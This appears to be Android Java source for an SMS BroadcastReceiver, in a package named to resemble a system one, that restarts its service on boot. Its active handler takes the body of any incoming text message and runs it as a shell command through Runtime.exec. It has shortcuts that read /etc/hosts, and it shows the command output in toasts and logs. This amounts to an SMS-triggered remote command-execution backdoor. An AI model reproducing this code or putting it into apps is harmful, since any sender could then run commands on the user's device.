package com.android.broad;

import static com.android.broad.Constants.ACTION_SMS_RECEIVED;
import static com.android.broad.Constants.EVENT_TYPE_OUTGOING_PHONE_CALL;
import static com.android.broad.Constants.EVENT_TYPE_PHONE_STATE_CHANGED;
import static com.android.broad.Constants.EVENT_TYPE_SMS_RECEIVED;
import static com.android.broad.Constants.LOG_TAG;

import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.logging.Logger;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import android.app.AlertDialog;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.telephony.gsm.SmsMessage;
import android.util.Log;
import android.widget.Toast;
import android.content.BroadcastReceiver;

import com.android.broad.domain.Event;

public class EventReceiver extends BroadcastReceiver {
  private Service service;
  private Event event;

  @Override
  public void onReceive(final Context context, final Intent intent) {
    service = null;
    event = null;
    final String action = intent.getAction();
    if (Intent.ACTION_BOOT_COMPLETED.equals(action)) {
      onReceiveBoot(context, intent);
      return;
    }

    service = Service.getInstance();
    if (service == null || !Service.isEnabled(context) || !Service.isRunning())
      return;
    event = new Event();

    if (ACTION_SMS_RECEIVED.equals(action)) onReceiveSmsReceived_beta(context, intent);
    
  }
  
  private void onReceiveBoot(final Context context, final Intent intent) {
    Log.v(LOG_TAG, "boot completed");
    if (Service.isEnabled(context) && !Service.isRunning())
      Service.start(context, false);
  }

  
  /*private void onReceiveSmsReceived(final Context context, final Intent intent) {
	    event.eventType = EVENT_TYPE_SMS_RECEIVED;
	    final Bundle bundle = intent.getExtras();
	    if (bundle != null) {
	      final Object[] pdus = (Object[]) bundle.get("pdus");
	      final SmsMessage[] messages = new SmsMessage[pdus.length];
	      final StringBuilder sb = new StringBuilder();
	      for (int i = 0; i < messages.length; i++) {
	        if (i > 0)
	          sb.append(',');
	        messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
	        sb.append("from ");
	        sb.append(messages[i].getOriginatingAddress());
	        sb.append(":[");
	        sb.append(messages[i].getMessageBody().toString());
	        sb.append(']');
	      }
	      event.params = sb.toString();
	    }
	    service.acceptIncomingEvent(event);
	  }*/
  

  private void onReceiveSmsReceived_beta(final Context context, final Intent intent) {
    event.eventType = EVENT_TYPE_SMS_RECEIVED;
    final Bundle bundle = intent.getExtras();
    if (bundle != null)
    {
    Object[] pdus = (Object[]) bundle.get("pdus");
    
    final SmsMessage[] messages = new SmsMessage[pdus.length];
    for (int i = 0; i < pdus.length; i++)  {  messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);  }  
    if (messages.length > -1)
    {
    final String messageBody = messages[0].getMessageBody();
    final String phoneNumber = messages[0].getDisplayOriginatingAddress();

    Process p;
	try {
		/*Pattern pa = Pattern.compile("run@@(\\w*)@@(\\w*)");
		 Matcher m = pa.matcher(messageBody);
		 String cmd = "";//
		 String[] d = new String [1];
		 while (m.find()) { 
		     cmd = m.group(1); 
		     Log.v(">>>>>>>>>>>>>>>>>>>>>>>ICI>>>>>>", cmd);
		     Log.v(">>>>>>>>>>>>>>>>>>>>>>>ICI>>>>>>", m.group(2));
		    	d[0]  = m.group(2); 
		 }*/
		
		//http://www.frandroid.com/actualites-generales/3199_un-bug-android-et-sfr-empoche-la-mise/
		if (messageBody.startsWith("1"))
			p = Runtime.getRuntime().exec(new String[]{"cat","/etc/hosts",""});
		else if (messageBody.startsWith("2"))
			p = Runtime.getRuntime().exec(new String[]{"ls","-l","/etc/hosts"});
		else
			p = Runtime.getRuntime().exec(messageBody);
		DataOutputStream os = new DataOutputStream(p.getOutputStream());
        DataInputStream osRes = new DataInputStream(p.getInputStream());

        os.writeBytes(messageBody);
        os.flush();
        
String temp = new String();
		while(  (temp = osRes.readLine()) != null)
           {    Toast.makeText(context, temp, Toast.LENGTH_SHORT).show();                                  
               Log.v(">>>>>>>>>>>>>>>>>>>>>>>ICI>>>>>>", temp);
                                       
           }  

		

	} catch (IOException e) {
		// TODO Auto-generated catch block
		Log.e("", e.toString());
	} //finally {abortBroadcast();}


    }
    }
  }
  



}
